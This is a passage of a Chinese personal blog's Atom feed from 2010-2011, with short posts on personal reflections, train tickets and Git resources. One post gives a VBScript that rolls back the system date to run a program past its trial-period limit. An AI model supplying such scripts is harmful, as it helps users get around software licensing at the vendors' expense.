zhou</name><uri>https://profiles.google.com/106042020035627038044</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh6.googleusercontent.com/-nDr6NtOVeos/AAAAAAAAAAI/AAAAAAAAAxU/ApwqBJpQssQ/s512-c/photo.jpg" /></author><thr:total>0</thr:total><feedburner:origLink>http://www.6code.net/2011/02/deflib.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DEYMRHk4fSp7ImA9Wx9bEE4.&quot;"><id>tag:blogger.com,1999:blog-1035648170314676341.post-7452407126787576930</id><published>2011-02-18T05:36:00.000-08:00</published><updated>2011-02-18T05:36:25.735-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-02-18T05:36:25.735-08:00</app:edited><title>当你感到困惑奇怪的时候</title><content type="html">当你感到困惑奇怪的时候，不是什么诡异的现象，是你没有看透，没有想明白而已。&lt;br /&gt;
事出必有因，稀奇古怪的事情还是少之又少的。&lt;br /&gt;
&lt;br /&gt;
在任何时候都应该保持自己的本心，做自己想做，应该做的事情。&lt;br /&gt;
以一颗宽容、平和的心态去面对世界上的事情。只要真正做到问心无愧，被人误解又何如？&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1035648170314676341-7452407126787576930?l=www.6code.net' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/dZ5uij43SfXSapuTnCYhfmHIXBI/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/dZ5uij43SfXSapuTnCYhfmHIXBI/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/dZ5uij43SfXSapuTnCYhfmHIXBI/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/dZ5uij43SfXSapuTnCYhfmHIXBI/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/6code/oHdh/~4/HY5NVohzJKk" height="1" width="1"/&gt;</content><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=1035648170314676341&amp;postID=7452407126787576930" title="0 条评论" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1035648170314676341/posts/default/7452407126787576930?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1035648170314676341/posts/default/7452407126787576930?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/6code/oHdh/~3/HY5NVohzJKk/blog-post.html" title="当你感到困惑奇怪的时候" /><author><name>zhen zhou</name><uri>https://profiles.google.com/106042020035627038044</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh6.googleusercontent.com/-nDr6NtOVeos/AAAAAAAAAAI/AAAAAAAAAxU/ApwqBJpQssQ/s512-c/photo.jpg" /></author><thr:total>0</thr:total><feedburner:origLink>http://www.6code.net/2011/02/blog-post.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DEYDQHs-fSp7ImA9Wx9WFUQ.&quot;"><id>tag:blogger.com,1999:blog-1035648170314676341.post-7321318023570563741</id><published>2011-01-20T23:49:00.001-08:00</published><updated>2011-01-20T23:49:31.555-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-01-20T23:49:31.555-08:00</app:edited><title>斗票形式严峻啊</title><content type="html">每年都有几天头疼，车票太难买了！&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1035648170314676341-7321318023570563741?l=www.6code.net' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/vejxkqjCXTgihWAPMfiqQdMveq4/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/vejxkqjCXTgihWAPMfiqQdMveq4/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/vejxkqjCXTgihWAPMfiqQdMveq4/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/vejxkqjCXTgihWAPMfiqQdMveq4/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/6code/oHdh/~4/PYgcu-xZi7Y" height="1" width="1"/&gt;</content><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=1035648170314676341&amp;postID=7321318023570563741" title="0 条评论" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1035648170314676341/posts/default/7321318023570563741?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1035648170314676341/posts/default/7321318023570563741?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/6code/oHdh/~3/PYgcu-xZi7Y/blog-post_20.html" title="斗票形式严峻啊" /><author><name>zhen zhou</name><uri>https://profiles.google.com/106042020035627038044</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh6.googleusercontent.com/-nDr6NtOVeos/AAAAAAAAAAI/AAAAAAAAAxU/ApwqBJpQssQ/s512-c/photo.jpg" /></author><thr:total>0</thr:total><feedburner:origLink>http://www.6code.net/2011/01/blog-post_20.html</feedburner:origLink></entry><entry gd:etag="W/&quot;C0IFRXo7eSp7ImA9Wx9XFko.&quot;"><id>tag:blogger.com,1999:blog-1035648170314676341.post-7597426814110116954</id><published>2011-01-10T06:58:00.000-08:00</published><updated>2011-01-10T06:58:34.401-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-01-10T06:58:34.401-08:00</app:edited><title>准备新的征程</title><content type="html">树欲静而风不止，随波逐流。&lt;div&gt;我还是我，我心依旧。&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1035648170314676341-7597426814110116954?l=www.6code.net' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/XdUt-lSrLGXdNNHJL7lYiVs_CE4/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/XdUt-lSrLGXdNNHJL7lYiVs_CE4/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/XdUt-lSrLGXdNNHJL7lYiVs_CE4/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/XdUt-lSrLGXdNNHJL7lYiVs_CE4/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/6code/oHdh/~4/OJrcvEhi9fM" height="1" width="1"/&gt;</content><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=1035648170314676341&amp;postID=7597426814110116954" title="0 条评论" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1035648170314676341/posts/default/7597426814110116954?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1035648170314676341/posts/default/7597426814110116954?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/6code/oHdh/~3/OJrcvEhi9fM/blog-post.html" title="准备新的征程" /><author><name>zhen zhou</name><uri>https://profiles.google.com/106042020035627038044</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh6.googleusercontent.com/-nDr6NtOVeos/AAAAAAAAAAI/AAAAAAAAAxU/ApwqBJpQssQ/s512-c/photo.jpg" /></author><thr:total>0</thr:total><feedburner:origLink>http://www.6code.net/2011/01/blog-post.html</feedburner:origLink></entry><entry gd:etag="W/&quot;D0UHQHY9eyp7ImA9Wx9QGUU.&quot;"><id>tag:blogger.com,1999:blog-1035648170314676341.post-8564279293657569873</id><published>2011-01-02T08:20:00.000-08:00</published><updated>2011-01-02T08:20:31.863-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-01-02T08:20:31.863-08:00</app:edited><title>Git Community Book 中文版</title><content type="html">&lt;a href="http://gitbook.liuhui998.com/index.html"&gt;http://gitbook.liuhui998.com/index.html&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;a href="http://gitbook.liuhui998.com/book.pdf"&gt;PDF文件&lt;/a&gt;， 感觉不错，大家可以看看。&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1035648170314676341-8564279293657569873?l=www.6code.net' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/7AtzwZws2AHkJtwToDj7WKCpJ-E/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/7AtzwZws2AHkJtwToDj7WKCpJ-E/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/7AtzwZws2AHkJtwToDj7WKCpJ-E/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/7AtzwZws2AHkJtwToDj7WKCpJ-E/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/6code/oHdh/~4/gmharyA9qes" height="1" width="1"/&gt;</content><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=1035648170314676341&amp;postID=8564279293657569873" title="0 条评论" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1035648170314676341/posts/default/8564279293657569873?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1035648170314676341/posts/default/8564279293657569873?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/6code/oHdh/~3/gmharyA9qes/git-community-book.html" title="Git Community Book 中文版" /><author><name>zhen zhou</name><uri>https://profiles.google.com/106042020035627038044</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh6.googleusercontent.com/-nDr6NtOVeos/AAAAAAAAAAI/AAAAAAAAAxU/ApwqBJpQssQ/s512-c/photo.jpg" /></author><thr:total>0</thr:total><feedburner:origLink>http://www.6code.net/2011/01/git-community-book.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CE4FSX44fyp7ImA9Wx9QF0o.&quot;"><id>tag:blogger.com,1999:blog-1035648170314676341.post-2016348900450540194</id><published>2010-12-30T21:19:00.000-08:00</published><updated>2010-12-30T21:21:58.037-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-12-30T21:21:58.037-08:00</app:edited><title>将原来的数据搬了过来</title><content type="html">Blogger 还是比较清净些。&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1035648170314676341-2016348900450540194?l=www.6code.net' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/8cprVr19vnoJ9siQqrw-PdjdAp4/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/8cprVr19vnoJ9siQqrw-PdjdAp4/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/8cprVr19vnoJ9siQqrw-PdjdAp4/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/8cprVr19vnoJ9siQqrw-PdjdAp4/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/6code/oHdh/~4/Qgb5oycAjpM" height="1" width="1"/&gt;</content><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=1035648170314676341&amp;postID=2016348900450540194" title="0 条评论" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1035648170314676341/posts/default/2016348900450540194?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1035648170314676341/posts/default/2016348900450540194?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/6code/oHdh/~3/Qgb5oycAjpM/blog-post_6542.html" title="将原来的数据搬了过来" /><author><name>zhen zhou</name><uri>https://profiles.google.com/106042020035627038044</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh6.googleusercontent.com/-nDr6NtOVeos/AAAAAAAAAAI/AAAAAAAAAxU/ApwqBJpQssQ/s512-c/photo.jpg" /></author><thr:total>0</thr:total><feedburner:origLink>http://www.6code.net/2010/12/blog-post_6542.html</feedburner:origLink></entry><entry gd:etag="W/&quot;AkEMR3Y4eSp7ImA9Wx9RGUk.&quot;"><id>tag:blogger.com,1999:blog-1035648170314676341.post-8941061963436966312</id><published>2010-12-21T08:21:00.000-08:00</published><updated>2010-12-21T08:24:46.831-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-12-21T08:24:46.831-08:00</app:edited><title>version control with Git</title><content type="html">非常好用的分布式版本控制系统，用起来非常舒服。&lt;div&gt;以后项目都用git管理，Linus Torvalds 真是牛人。&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1035648170314676341-8941061963436966312?l=www.6code.net' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/-AUVvx4EGMi6Bl2edpyINPkiT8s/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/-AUVvx4EGMi6Bl2edpyINPkiT8s/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/-AUVvx4EGMi6Bl2edpyINPkiT8s/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/-AUVvx4EGMi6Bl2edpyINPkiT8s/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/6code/oHdh/~4/oYBSY5VjAP0" height="1" width="1"/&gt;</content><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=1035648170314676341&amp;postID=8941061963436966312" title="0 条评论" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1035648170314676341/posts/default/8941061963436966312?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1035648170314676341/posts/default/8941061963436966312?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/6code/oHdh/~3/oYBSY5VjAP0/version-control-with-git.html" title="version control with Git" /><author><name>zhen zhou</name><uri>https://profiles.google.com/106042020035627038044</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh6.googleusercontent.com/-nDr6NtOVeos/AAAAAAAAAAI/AAAAAAAAAxU/ApwqBJpQssQ/s512-c/photo.jpg" /></author><thr:total>0</thr:total><feedburner:origLink>http://www.6code.net/2010/12/version-control-with-git.html</feedburner:origLink></entry><entry gd:etag="W/&quot;D0QDSX89fSp7ImA9Wx9RF0s.&quot;"><id>tag:blogger.com,1999:blog-1035648170314676341.post-6301159716878264640</id><published>2010-12-19T05:17:00.000-08:00</published><updated>2010-12-19T05:29:38.165-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-12-19T05:29:38.165-08:00</app:edited><title>破解软件时间限制的程序</title><content type="html">&lt;div&gt;Dim daytime&lt;/div&gt;&lt;div&gt;daytime = formatdatetime(now(), 2)&lt;/div&gt;&lt;div&gt;wscript.echo "Now is: " &amp;amp; daytime&lt;/div&gt;&lt;div&gt;wscript.echo "Change system data to 2010/12/18..."&lt;/div&gt;&lt;div&gt;Set os =WScript.CreateObject("WScript.Shell")&lt;/div&gt;&lt;div&gt;os.run "cmd /c date 2010/12/18", 0, True&lt;/div&gt;&lt;div&gt;wscript.sleep 3000&lt;/div&gt;&lt;div&gt;wscript.echo "Call some.exe"&lt;/div&gt;&lt;div&gt;os.run ".\some.exe", 1, True&lt;/div&gt;&lt;div&gt;wscript.echo "Restore system data to " &amp;amp; daytime&lt;/div&gt;&lt;div&gt;os.run "cmd /c date " &amp;amp; daytime, 0, True&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1035648170314676341-6301159716878264640?l=www.6code.net' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/MGp3uVHbqSjEg2_85YJP9wWpRxc/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/MGp3uVHbqSjEg2_85YJP9wWpRxc/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/MGp3uVHbqSjEg2_85YJP9wWpRxc/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/MGp3uVHbqSjEg2_85YJP9wWpRxc/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/6code/oHdh/~4/-KPr4p3Mjig" height="1" width="1"/&gt;</content><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=1035648170314676341&amp;postID=6301159716878264640" title="0 条评论" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1035648170314676341/posts/default/6301159716878264640?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1035648170314676341/posts/default/6301159716878264640?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/6code/oHdh/~3/-KPr4p3Mjig/blog-post.html" title="破解软件时间限制的程序" /><author><name>zhen zhou</name><uri>https://profiles.google.com/106042020035627038044</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh6.googleusercontent.com/-nDr6NtOVeos/AAAAAAAAAAI/AAAAAAAAAxU/ApwqBJpQssQ/s512-c/photo.jpg" /></author><thr:total>0</thr:total><feedburner:origLink>http://www.6code.net/2010/12/blog-post.html</feedburner:origLink></entry></feed>

